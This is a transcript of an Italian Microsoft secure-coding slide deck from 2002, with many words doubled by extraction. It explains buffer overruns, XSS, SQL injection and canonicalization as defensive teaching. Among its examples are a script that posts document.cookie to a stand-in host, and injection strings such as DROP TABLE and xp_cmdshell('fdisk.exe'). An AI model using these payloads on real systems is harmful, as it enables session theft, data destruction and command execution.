Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist [email protected]...

29

Transcript of Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist [email protected]...

Page 1: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.
Page 2: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

Scrivere codice sicuroScrivere codice sicuro

Fabio SantiniFabio Santini.NET Senior Developer Evangelist.NET Senior Developer [email protected] [email protected] Microsoft ItalyMicrosoft Italy

Page 3: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

AgendaAgenda Buffer OverrunsBuffer Overruns Errori aritmeticiErrori aritmetici CSS (Cross-Site Scripting) CSS (Cross-Site Scripting) SQL InjectionSQL Injection CanonicalizationCanonicalization Isolated StorageIsolated Storage ViewState ViewState

Page 4: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

LaLa necessitànecessità didi codicecodice protettoprotetto

“Porto USA colpito da un hacker inglese”

“Diverse aziende hanno dichiarato di aver perso 10 milioni di dollari in un solo attacco””

"Il recente attacco di un hacker potrebbe aver causato danni a circa 1500 siti Web”

“La pirateria ha causato la perdita di 4.300 posti di lavoro ed ha provocato danni per 850 milioni di dollari””

“Il virus Sobig ha provocato in tutto il mondo danni pari a 30 miliardi di dollari””“Gli attacchi costeranno

all'economia mondiale 1,6 trilioni di dollari quest'anno”

Page 5: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

Cos'èCos'è unun Buffer OverrunBuffer Overrun

SiSi verificaverifica quandoquando ii datidati superanosuperano lala dimensionedimensione previstaprevista ee sovrascrivonosovrascrivono altrialtri valorivalori

È frequente soprattutto nel codice C/C++ non È frequente soprattutto nel codice C/C++ non gestitogestito

Può essere di quattro tipi:Può essere di quattro tipi: buffer overrun basato sullo stackbuffer overrun basato sullo stack buffer overrun dell'heapbuffer overrun dell'heap Sovrascrittura della v-table e del puntatore a funzioneSovrascrittura della v-table e del puntatore a funzione Sovrascrittura del gestore eccezioniSovrascrittura del gestore eccezioni

PuòPuò essereessere sfruttatosfruttato daidai wormworm

Page 6: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

Possibile conseguenza Obiettivo dell'hacker

Violazione dell'accesso

Realizzare gli attacchi DoS (denial of service) contro i server

Instabilità Interferire con il normale funzionamento del software

Inserimento di codice

Ottenere privilegi per il proprio codiceSfruttare dati aziendali di vitale importanzaEseguire azioni distruttive

PossibiliPossibili conseguenzeconseguenze deidei sovraccarichisovraccarichi bufferbuffer

Page 7: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

void UnSafe (const char* uncheckedData)

{

int anotherLocalVariable;

strcpy (localVariable, uncheckedData);

}

char localVariable[4];

EsempioEsempio didi sovraccaricosovraccarico bufferbuffer basatobasato sullosullo stackstack

Parte superiore dello stack

char[4]

int

Indirizzo di ritorno

Page 8: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

II buffer overrunbuffer overrun dell'heapdell'heap

SovrascrivonoSovrascrivono ii datidati memorizzatimemorizzati nell'heapnell'heap

Sono più difficili da sfruttare Sono più difficili da sfruttare di un buffer overrundi un buffer overrun

Dati

Puntatore

Dati

Dati

Puntatore

Puntatore

strcpystrcpy xxxxxxxxxxxxxxxxxxxxxxxxxxxx

Page 9: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

ComeCome difendersidifendersi daidai buffer overrunbuffer overrun (1(1 didi 2)2) UtilizzareUtilizzare concon particolareparticolare cautelacautela lele

seguentiseguenti funzioni:funzioni: strcpystrcpy strncpystrncpy CopyMemoryCopyMemory MultiByteToWideCharMultiByteToWideChar

Utilizzare l'opzione di compilazione /GS Utilizzare l'opzione di compilazione /GS in Visual C++ per individuare i in Visual C++ per individuare i sovraccarichi buffersovraccarichi buffer

Utilizzare strsafe.h per un gestione del Utilizzare strsafe.h per un gestione del buffer più sicurabuffer più sicura

Page 10: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

Come difendersi dai buffer Come difendersi dai buffer overrun (2 di 2)overrun (2 di 2)

Page 11: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

DEMODEMO

Page 12: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

GliGli errorierrori aritmeticiaritmetici SiSi verificanoverificano quandoquando vengonovengono superatisuperati ii

limitilimiti didi unauna variabilevariabile Causano gravi errori in fase di esecuzioneCausano gravi errori in fase di esecuzione Vengono spesso sottovalutatiVengono spesso sottovalutati Includono:Includono:

Overflow – valore troppo grande per il tipo di Overflow – valore troppo grande per il tipo di datidati

Underflow – valore troppo piccolo per il tipo Underflow – valore troppo piccolo per il tipo di datidi dati

Page 13: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

ComeCome difendersidifendersi daglidagli errorierrori aritmeticiaritmetici TenereTenere contoconto deidei limitilimiti deldel tipotipo didi datidati

sceltoscelto Scrivere codice a prova di attacchi che Scrivere codice a prova di attacchi che

verifichi la presenza di overflowverifichi la presenza di overflow Scrivere funzioni sicure e riutilizzabiliScrivere funzioni sicure e riutilizzabili Utilizzare una classe sicura basata su Utilizzare una classe sicura basata su

modello (se si scrive codice in C++)modello (se si scrive codice in C++)

Page 14: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

DEMODEMO

Page 15: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

Cos'èCos'è ilil CSS?CSS? UnaUna tecnicatecnica cheche consenteconsente agliagli hackerhacker di:di:

Eseguire script dannoso nel browser Web Eseguire script dannoso nel browser Web di un clientdi un client

Inserire tag <script>, <object>, <applet>, Inserire tag <script>, <object>, <applet>, <form> e <embed><form> e <embed>

Rubare informazioni sulla sessione Web e Rubare informazioni sulla sessione Web e cookie di autenticazionecookie di autenticazione

Accedere al computer clientAccedere al computer client

Qualsiasi pagina Web che esegue il rendering HTMLe contenente input dell'utente è vulnerabile

Page 16: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

DueDue impieghiimpieghi comunicomuni deldel CSSCSS AttaccareAttaccare lele piattaformepiattaforme didi postaposta

elettronicaelettronica basatebasate sulsul WebWeb ee i forumi forum Utilizzo dei tag <form> HTML per Utilizzo dei tag <form> HTML per

reindirizzare informazioni privatereindirizzare informazioni private

Page 17: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

AttacchiAttacchi basatibasati susu formform (1(1 didi 2)2)Response.Write("Welcome" & Request.QueryString("UserName"))

Page 18: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

AttacchiAttacchi basatibasati susu formform (2(2 didi 2)2)

<a href=http://www.contoso.msft/welcome.asp?name= <FORM action=http://www. nwtraders.msft/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> >

here</a>

Page 19: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

ComeCome difendersidifendersi daglidagli attacchiattacchi CSSCSS

OperazioniOperazioni dada nonnon eseguire:eseguire: Considerare attendibile l'input dell'utenteConsiderare attendibile l'input dell'utente Attivare l'eco dell'input dell'utente basato Attivare l'eco dell'input dell'utente basato

sul Web a meno che non sia stato sul Web a meno che non sia stato convalidatoconvalidato

Memorizzare informazioni segrete nei cookieMemorizzare informazioni segrete nei cookie

Operazioni da eseguire:Operazioni da eseguire: Utilizzare l'opzione del cookie HttpOnlyUtilizzare l'opzione del cookie HttpOnly Sfruttare le funzionalità di ASP.NETSfruttare le funzionalità di ASP.NET

Page 20: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

DEMODEMO

Page 21: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

Cos'èCos'è l'SQLl'SQL Injection?Injection?

L'SQLL'SQL InjectionInjection è:è: L'aggiunta di istruzioni SQL nell'input L'aggiunta di istruzioni SQL nell'input

dell'utentedell'utente Viene utilizzato dagli hacker per:Viene utilizzato dagli hacker per:

Effettuare la scansione dei databaseEffettuare la scansione dei database Ignorare l'autorizzazioneIgnorare l'autorizzazione Eseguire più istruzioni SQLEseguire più istruzioni SQL Richiamare stored procedure incorporateRichiamare stored procedure incorporate

Page 22: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

EsempiEsempi didi SQLSQL InjectionInjection

SeSe lala variabilevariabile IDID vieneviene lettaletta direttamentedirettamente dada unauna casellacasella didi testotesto didi unun WebWeb FormForm oo didi unun formform didi Windows,Windows, l'utentel'utente potrebbepotrebbe immettere:immettere: ALFKI1001ALFKI1001 ALFKI1001' or 1=1 --ALFKI1001' or 1=1 -- ALFKI1001' DROP TABLE OrderDetail --ALFKI1001' DROP TABLE OrderDetail -- ALFKI1001' exec xp_cmdshell('fdisk.exe') --ALFKI1001' exec xp_cmdshell('fdisk.exe') --

sqlString = "SELECT HasShipped FROM"+ " OrderDetail WHERE OrderID ='"+ ID + "'";

Page 23: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

ComeCome difendersidifendersi dall'SQLdall'SQL InjectionInjection VerificareVerificare cheche l'inputl'input nonnon siasia infetto.infetto.

Considerare tutto l'input pericoloso fino a Considerare tutto l'input pericoloso fino a quando non viene dimostrato il contrarioquando non viene dimostrato il contrario

Cercare dati validi e respingere tutto il restoCercare dati validi e respingere tutto il resto Utilizzare espressioni regolari per rimuovere Utilizzare espressioni regolari per rimuovere

i caratteri indesideratii caratteri indesiderati Eseguire con i privilegi più bassiEseguire con i privilegi più bassi

Non eseguire mai come “sa”Non eseguire mai come “sa” Limitare l'accesso a stored procedure Limitare l'accesso a stored procedure

incorporateincorporate Utilizzare stored procedure o query con Utilizzare stored procedure o query con

parametri SQL per accedere ai datiparametri SQL per accedere ai dati Non attivare l'eco di errori ODBCNon attivare l'eco di errori ODBC

Page 24: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

DEMODEMO

Page 25: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

ProblemiProblemi didi CanonicalizationCanonicalization GeneralmenteGeneralmente esistonoesistono piùpiù metodimetodi

perper assegnareassegnare ii nominomi Sono disponibili rappresentazioni Sono disponibili rappresentazioni

alternative per:alternative per: Nomi fileNomi file URLURL Periferiche (ad esempio stampanti)Periferiche (ad esempio stampanti)

Gli hacker possono sfruttare il codice che Gli hacker possono sfruttare il codice che consente di effettuare determinate consente di effettuare determinate operazioni in base ai nomi file o agli URLoperazioni in base ai nomi file o agli URL

Page 26: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

ProblemiProblemi didi CanonicalizationCanonicalizationEsempioEsempio 11 –– NomiNomi filefile

1.1. MyLongFile.txtMyLongFile.txt2.2. MyLongFile.txt.MyLongFile.txt.3.3. MyLong~1.txtMyLong~1.txt4.4. MyLongFile.txt::$DATAMyLongFile.txt::$DATA

Page 27: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

EsistonoEsistono moltimolti modimodi perper rappresentarerappresentare ii carattericaratteri susu InternetInternet

ProblemiProblemi didi CanonicalizationCanonicalizationEsempioEsempio 22 –– RappresentazioneRappresentazione deidei carattericaratteri

http://www.microsoft.com/technet/security

EquivaleEquivale aa --

http://www%2emicrosoft%2ecom%2ftechnet%2fsecurity

http://www.microsoft.com%c0%aftechnet%c0%afsecurity

http://www%25%32%65microsoft.com/technet/security

http://172.43.122.12 = http://2888530444

Page 28: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

DEMODEMO

Page 29: Scrivere codice sicuro Fabio Santini.NET Senior Developer Evangelist fsantini@microsoft.com Microsoft Italy.

© 2002 Microsoft Corporation. All rights reserved.© 2002 Microsoft Corporation. All rights reserved.This presentation is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS OR IMPLIED, IN THIS SUMMARY.This presentation is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS OR IMPLIED, IN THIS SUMMARY.